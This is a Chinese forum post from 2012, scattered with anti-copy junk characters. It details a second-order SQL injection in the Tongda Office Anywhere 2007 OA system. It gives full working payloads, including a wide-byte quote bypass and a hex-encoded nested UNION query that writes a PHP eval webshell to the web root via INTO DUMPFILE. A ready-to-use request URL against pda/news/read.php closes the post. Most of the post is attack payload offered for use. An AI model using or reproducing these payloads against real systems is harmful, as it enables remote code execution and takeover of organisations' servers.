目前测试通达OA2007版本( ]# C F' {: z$ p) L2 Y: E
. S( e6 i- s% C3 L0 J. Z s ; i' f1 v0 ^/ H* s- C
Office Anywhere 2007 网络智能办公系统
' L4 r; [* m W: J* o
! R. Q* A) w1 L: C) R, ^1 Vhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..0 O1 h* V: H4 W5 a
. p) f) E- N! }+ ~" W* L
: `. Z( S3 l0 f" K3 }! T+ c6 _0 _, j这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
4 i$ Z7 Q6 G: k+ x z3 S) @8 y& Y1 p
例如：SELECT * from USER where USER_ID='{$USERNAME}'
8 U2 u, R! V" H) k. g其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了- Q" W7 k3 V9 C g: a0 x) e
/ P+ w& C9 \9 q4 i7 q/ C这个时候我们是不是可以组合起来使用哪？% i7 k* d8 m# x: E9 P5 L- B
- U& r+ c9 h: J) e4 h1 |& L3 v
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样2 b% X" _; O0 x( G1 K
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10; Y- ?. }" I& p: {2 F6 v% \
8 ~# ?) O/ d& L- f9 O( C, |
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了& _. h E1 O3 e. x9 @' [/ ?
; w8 G5 x+ f- {; m, h- s' W那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
; K: D: S1 H0 A k" F/ }4 ` $ M5 x9 _. q p; ~3 _
那么我们用字符串格式带入进行hex编码
6 W* w/ Q* T3 ~8 ]% e$ M3 w
1 q0 X; G% ?% D%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23* e/ G$ J7 P( {- F& G5 Q: P2 d% d0 G
0 @, A9 b1 P2 Q' q7 b* \8 p
测试ok，获取oa的webshell
6 {$ y: K0 f" H/ a! |
7 i& ~/ H2 r) \& x$ f2 y) s( U - ]2 B& H* N/ C& K* `# ]( ?' H
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
F# p5 m! F2 q x6 T, F直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对